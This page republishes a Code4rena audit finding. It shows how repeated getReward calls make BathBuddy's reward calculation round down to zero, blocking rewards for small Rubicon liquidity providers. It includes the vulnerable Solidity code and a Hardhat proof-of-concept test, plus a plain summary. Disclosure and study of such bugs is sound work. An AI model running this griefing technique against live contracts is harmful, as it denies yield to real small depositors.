Skip to content
DoS Audit finding Intermediate

BathBuddy rewards DoS

The BathBuddy reward calculation rounds down to zero when the time between reward updates is very short, so a user with a small bathToken balance earns nothing. An attacker can repeatedly call getReward to refresh the global update time, blocking rewards for small liquidity providers indefinitely.

Tricko Follow

Originally disclosed on Code4rena

Submitted by Tricko.

https://github.com/code-423n4/2023-04-rubicon/blob/511636d889742296a54392875a35e4c0c4727bb7/contracts/periphery/BathBuddy.sol#L121-L135 https://github.com/code-423n4/2023-04-rubicon/blob/511636d889742296a54392875a35e4c0c4727bb7/contracts/periphery/BathBuddy.sol#L139-L155

As described in the docs, Rubicon protocol allows users to act as as liquidity providers (LPs), by providing funds and receiving bathToken in return, which can be used to obtain rewards through BathBuddy contract. But BathBuddy internal logic allows any user to DoS reward distribution to smalls LPs by constantly calling getReward at small intervals. This is specially effective against small LPs. This finding should be classified as having medium severity, even though no funds are at risk, the attacker can affect the protocol’s functionality for an indefinite period of time.

Proof of Concept

BathBuddy’s user rewards are calculated as shown below:

function earned(
        address account,
        address token
    ) public view override returns (uint256) {
        require(friendshipStarted, "I have not started a bathToken friendship");

        return
            IERC20(myBathTokenBuddy) // Care with this?
                .balanceOf(account)
                .mul(
                    rewardPerToken(token).sub(
                        userRewardsPerTokenPaid[token][account]
                    )
                )
                .div(1e18)
                .add(tokenRewards[token][account]);
    }

Where rewardPerToken values are updated by calling the rewardPerToken function:

function rewardPerToken(address token) public view returns (uint256) {
        require(friendshipStarted, "I have not started a bathToken friendship");

        if (IERC20(myBathTokenBuddy).totalSupply() == 0) {
            return rewardsPerTokensStored[token];
        }
        return
            rewardsPerTokensStored[token].add(
                lastTimeRewardApplicable(token)
                    .sub(lastUpdateTime[token])
                    .mul(rewardRates[token])
                    .mul(1e18)
                    .div(IERC20(myBathTokenBuddy).totalSupply())
            );
    }

As we can see in the code snippet above, if the interval between calls to rewardPerToken are small, the resulting rewardsPerToken updates will also be small. Therefore, there is the possibility of the user earned values rounding down to zero, especially if the user’s bathToken balance are small compared to bathToken totalSupply().

This enables a malicious actor to block reward distribution to smalls LPs by constantly calling getReward, to keep refreshing the global lastUpdateTime; for example, at every new block (2s on Optimism). As gas fees are low in L2 networks, the malicious actor can DoS at little cost, while affecting many small LPs .

The following test reproduces the above scenario, demonstrating that reward distribution to users with small bathToken balances can be completely and indefinitely blocked by repeatedly calling getReward:

import { time, loadFixture } from "@nomicfoundation/hardhat-network-helpers";
import { anyValue } from "@nomicfoundation/hardhat-chai-matchers/withArgs";
import { expect } from "chai";
import { ethers, network } from "hardhat";
import { formatUnits, parseUnits } from "ethers/lib/utils";

// TODO: Implement Proxy-wrapping helper functions and proxy-wrapped contracts generally
describe("RubiconV2 rewards system", function () {
  const CERC20_ABI = [
    "function name() external view returns(string memory)",
    "function symbol() external view returns(string memory)",
    "function decimals() external view returns(uint8)",
    "function balanceOf(address) external view returns(uint256)",
    "function admin() external view returns(address)",
    "function mint(uint256) external returns(uint256)",
  ];
  const BUDDY_ABI = [
    "function setRewardsDuration(uint256,address) external",
    "function notifyRewardAmount(uint256,address) external",
    "function earned(address,address) external view returns(uint256)",
  ];

  async function buddySetupFixture() {
    // Contracts are deployed using the first signer/account by default
    const [owner, alice, eve] = await ethers.getSigners();

    // Use Compound Fork to spawn some cTokens...
    // Note: In prod COMP uses Unitroller for Comptroller storage and upgradeability*
    const ComptrollerFactory = await ethers.getContractFactory("Comptroller");
    const comptroller = await ComptrollerFactory.deploy(); // TODO: Rename to bath house?

    const BathHouse = await ethers.getContractFactory("BathHouseV2");
    const bathHouse = await BathHouse.deploy();

    await bathHouse.initialize(comptroller.address, owner.address);

    // Deploy Test ERC20 to use throughout testing
    const testCoinFactory = await ethers.getContractFactory("TokenWithFaucet");
    const testCoin = await testCoinFactory.deploy(
      owner.address,
      "Test",
      "TEST",
      18
    );
    const testStableCoin = await testCoinFactory.deploy(
      owner.address,
      "Test Stablecoin",
      "TUSDC",
      6
    );

    const testRewardCoin = await testCoinFactory
      .connect(owner)
      .deploy(
        owner.address,
        "SuperHyperCoolTokenThatRewardsLiquidityProvidersWithHugeReturns",
        "BTC",
        18
      );

    const interestRateModelFactory = await ethers.getContractFactory(
      "WhitePaperInterestRateModel"
    );

    // Inputs
    const baseRatePerYear = parseUnits("0.3"); //  TODO: WHAT SHOULD THIS BE?
    const multiplierPerYear = parseUnits("0.02"); //  TODO: WHAT SHOULD THIS BE?
    const irModel = await interestRateModelFactory.deploy(
      baseRatePerYear,
      multiplierPerYear
    );

    const cTokenFactory = await ethers.getContractFactory("CErc20Delegate");
    const cTokenImplementation = await cTokenFactory.deploy();

    // Initialize the market
    const underlying = testCoin.address;
    const interestRateModel = irModel.address;
    const initialExchangeRateMantissa = "200000000000000000000000000"; // TODO: What should this be?

    const becomeImplementationData = "0x"; //TODO: What should this be?

    await bathHouse.createBathToken(
      underlying,
      interestRateModel,
      initialExchangeRateMantissa,
      cTokenImplementation.address,
      becomeImplementationData
    );
    const bathTokenAddress = await bathHouse.getBathTokenFromAsset(underlying);
    const bathTEST = new ethers.Contract(bathTokenAddress, CERC20_ABI, owner);

    const buddyAddress = await bathHouse.whoIsBuddy(bathTokenAddress);
    const buddy = new ethers.Contract(buddyAddress, BUDDY_ABI, owner);

    // Setup cToken in System correctly:
    await comptroller._supportMarket(bathTEST!.address).catch((e: any) => {
      console.log("\nError supporting new cToken market!", e.reason, "\n");
    });

    await testCoin.connect(alice).faucet();
    await testStableCoin.connect(alice).faucet();
    await testCoin.connect(eve).faucet();
    await testStableCoin.connect(eve).faucet();

    await buddy.setRewardsDuration(
      365 * 24 * 60 * 60,
      testStableCoin.address
    );
    await testStableCoin.transfer(buddy.address, parseUnits("10000", 6));
    await buddy.notifyRewardAmount(
      parseUnits("10000", 6),
      testStableCoin.address
    );

    await comptroller.setCompAddress(testRewardCoin.address);
    await comptroller._setCompSpeeds(
      [bathTEST.address],
      [parseUnits("2.28")],
      [parseUnits("0.322")]
    );

    const PriceOracleFactory = await ethers.getContractFactory(
      "DummyPriceOracle"
    );
    const priceOracle = await PriceOracleFactory.deploy();

    // price of TEST = $0.9
    await priceOracle.addCtoken(bathTEST.address, parseUnits("0.9", 18));

    await comptroller._setPriceOracle(priceOracle.address);

    await comptroller._setCollateralFactor(bathTEST.address, parseUnits("0.7"));

    const rewardBalance = await testRewardCoin.balanceOf(owner.address);
    await testRewardCoin.transfer(comptroller.address, rewardBalance);

    await testCoin.connect(alice).approve(bathTEST.address, parseUnits("10"));
    await bathTEST.connect(alice).mint(parseUnits("10"));
    await testCoin.connect(eve).approve(bathTEST.address, parseUnits("10000"));
    await bathTEST.connect(eve).mint(parseUnits("10000"));

    return {
      comptroller,
      testCoin,
      bathTEST,
      alice,
      eve,
      testStableCoin,
      testRewardCoin,
      buddy,
      bathHouse,
    };
  }

  describe("Testing the rewards", async function () {
    it("POC1", async function () {
      const {
        alice,
        eve,
        testStableCoin,
        buddy,
        bathHouse,
      } = await loadFixture(buddySetupFixture);

      // Eve calls claimRewards to reset lastUpdateTime (claimRewards internaly calls BathBuddy's getReward)
      await bathHouse.connect(eve).claimRewards([buddy.address], [testStableCoin.address])
      // Alice tries to claim her rewards
      await bathHouse.connect(alice).claimRewards([buddy.address], [testStableCoin.address])
      const earned1 = await testStableCoin.balanceOf(alice.address);

      // Eve calls claimRewards to reset lastUpdateTime
      await bathHouse.connect(eve).claimRewards([buddy.address], [testStableCoin.address])
      // Alice tries to claim her rewards
      await bathHouse.connect(alice).claimRewards([buddy.address], [testStableCoin.address])
      const earned2 = await testStableCoin.balanceOf(alice.address);
      // Check that Alice didn't get any rewards
      expect(earned2.toBigInt() - earned1.toBigInt()).to.be.equal(0);

      // Eve calls claimRewards to reset lastUpdateTime
      await bathHouse.connect(eve).claimRewards([buddy.address], [testStableCoin.address])
      // Alice tries to claim her rewards
      await bathHouse.connect(alice).claimRewards([buddy.address], [testStableCoin.address])
      const earned3 = await testStableCoin.balanceOf(alice.address);
      // Check that Alice didn't get any rewards
      expect(earned3.toBigInt() - earned2.toBigInt()).to.be.equal(0);

      // Eve calls claimRewards to reset lastUpdateTime
      await bathHouse.connect(eve).claimRewards([buddy.address], [testStableCoin.address])
      await bathHouse.connect(alice).claimRewards([buddy.address], [testStableCoin.address])
      const earned4 = await testStableCoin.balanceOf(alice.address);
      // Check that Alice didn't get any rewards
      expect(earned4.toBigInt() - earned4.toBigInt()).to.be.equal(0);
    });
  });
});

daoio (Rubicon) acknowledged

HickupHH3 (judge) commented:

Griefing through loss of yield for small LPs.


The original report as published on Code4rena, by Tricko. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely integer division in the reward-per-token calculation truncates to zero when the elapsed time is very small and the user's share of the total supply is tiny.

Impact

Small liquidity providers could be indefinitely prevented from earning rewards, though no funds are at risk.

What the attacker needed

Attacker has a bathToken balance; attacker can call getReward frequently; low gas fees (e.g., on an L2)

How it was found

  1. Set up the BathBuddy rewards system with a reward token and a small LP (Alice) and a large LP (Eve).
  2. Eve calls claimRewards to reset the global lastUpdateTime.
  3. Alice calls claimRewards to try to collect her rewards.
  4. Repeat Eve's and Alice's calls; Alice's reward balance does not increase.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract pays rewards to people who deposit funds. The reward amount is calculated based on how much time has passed since the last update. If someone triggers an update very often, the time gap becomes tiny, and the maths rounds the reward down to zero for users with small deposits. An attacker can do this repeatedly, so small users never get their rewards.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Tricko

View all

3 more disclosed reports, best first.

More from Rubicon v2

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.